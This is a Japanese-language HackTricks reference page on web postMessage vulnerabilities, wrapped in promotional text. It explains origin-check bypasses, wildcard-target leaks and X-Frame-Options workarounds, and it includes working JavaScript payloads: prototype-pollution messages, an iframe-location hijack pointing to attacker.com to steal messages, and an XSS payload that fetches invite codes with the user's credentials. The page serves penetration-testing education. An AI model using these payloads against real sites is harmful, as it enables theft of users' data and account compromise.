PostMessage Vulnerabilities

PostMessageの脆弱性

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客がスティーラーマルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:


PostMessageを送信

PostMessageは、次の関数を使用してメッセージを送信します:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOriginは'*'または_https://company.com_のようなURLであることに注意してください。第2のシナリオでは、メッセージはそのドメインにのみ送信できます(ウィンドウオブジェクトのオリジンが異なっていても)。ワイルドカードが使用されると、メッセージは任意のドメインに送信され、ウィンドウオブジェクトのオリジンに送信されます。

iframeとtargetOriginでのワイルドカード攻撃

このレポートで説明されているように、X-Frame-Header保護がないページを見つけ、ワイルドカード(*)を使用してpostMessageを介して機密メッセージを送信している場合、iframeorigin変更して、機密メッセージを自分が制御するドメインに漏洩させることができます。ページがiframedであっても、targetOriginURLに設定されていてワイルドカードではない場合、このトリックは機能しません

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListenerの悪用

addEventListener は、JSが**postMessagesを受信する関数を宣言する**ために使用される関数です。 次のようなコードが使用されます:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

列挙

現在のページでイベントリスナーを見つけるには、次のことができます:

  • JSコードを検索してwindow.addEventListener$(window).onJQueryバージョン)を検索します

  • 開発者ツールのコンソールで実行します:getEventListeners(window)

  • ブラウザの開発者ツールで_Elements --> Event Listeners_に移動します

オリジンチェックのバイパス

  • **event.isTrusted**属性は、本物のユーザーアクションによって生成されたイベントに対してのみTrueを返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックにおける重要性は顕著です。

  • PostMessageイベントでのオリジン検証に**indexOf()**を使用することはバイパスされる可能性があります。この脆弱性を示す例は次のとおりです:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()の**search()**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを抱える可能性があります。これは、例えば次のように、特別に作成されたドメインで検証をバイパスできるようにするためです:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • **match()**関数は、search()と同様に正規表現を処理します。正規表現が適切に構造化されていない場合、バイパスされる可能性があります。

  • **escapeHtml**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティがhasOwnPropertyを認識しないようにできる場合、escapeHtmlは期待どおりに機能しません。以下の例で示されています:

  • 期待される失敗:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • エスケープのバイパス:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

この脆弱性の文脈では、Fileオブジェクトは、読み取り専用のnameプロパティを持つため、特に悪用されやすいです。このプロパティは、テンプレートで使用される際にescapeHtml関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。

  • JavaScriptのdocument.domainプロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でのより緩やかな同一オリジンポリシーの適用を可能にします。

e.origin == window.origin バイパス

%%%%%%を使用してサンドボックス化されたiframeにWebページを埋め込む場合、iframeのオリジンはnullに設定されることが重要です。これは、sandbox属性とそのセキュリティと機能への影響を考慮する際に特に重要です。

sandbox属性で**allow-popups**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、ポップアップウィンドウのオリジンが同様にnullに設定されるため、iframeのオリジンと一致することを意味します。

したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**postMessageを使用してメッセージが送信されると、送信元と受信先の両方のオリジンがnullに設定されます。この状況では、iframeとポップアップがnullという同じオリジン値を共有しているため、e.origin == window.origin**がtrue(null == null)に評価されます。

詳細については、以下を読んでください

pageBypassing SOP with Iframes - 1

e.sourceのバイパス

メッセージがスクリプトがリスニングしている同じウィンドウから送信されたかどうかを確認することが可能です(特にブラウザ拡張機能のContent Scriptsにとって興味深い)。

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

メッセージの**e.sourcenullにすることができます。iframeを作成し、postMessageを送信してすぐに削除**することで実現できます。

詳細は以下を読んでください:

pageBypassing SOP with Iframes - 2

X-Frame-Header バイパス

これらの攻撃を実行するためには、理想的には被害者のウェブページiframe内に配置できると良いでしょう。しかし、X-Frame-Headerのようなヘッダーがその動作防ぐことがあります。 そのようなシナリオでは、より控えめな攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開いて通信することができます。

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

メインページをブロックして子に送信されたメッセージを盗む

次のページでは、メインページをブロックしてからデータを送信する前に、子のiframeに送信された機密postmessageデータを盗む方法を見ることができます。そして、子のXSSを悪用して、データが受信される前にデータを漏洩させます:

pageBlocking main page to steal postmessage

iframeの場所を変更してメッセージを盗む

もし、別のiframeを含むX-Frame-Headerのないウェブページをiframe化できる場合、その子iframeの場所を変更できます。そのため、ワイルドカードを使用して送信されたpostmessageを受信している場合、攻撃者はそのiframeのoriginを自分が制御するページに変更してメッセージを盗むことができます:

pageSteal postmessage modifying iframe location

postMessageをプロトタイプ汚染および/またはXSSに

postMessageを介して送信されたデータがJSによって実行されるシナリオでは、ページをiframe化してプロトタイプ汚染/XSSを悪用し、攻撃をpostMessage経由で送信することができます。

postMessageを介した非常によく説明されたXSSの例は、https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html で見つけることができます。

プロトタイプ汚染を悪用してXSSを行う悪用の例を示す:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

詳細情報:

参考文献

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客がスティーラーマルウェアによって侵害されていないかをチェックする無料の機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学ぶ!

HackTricksをサポートする他の方法:

Last updated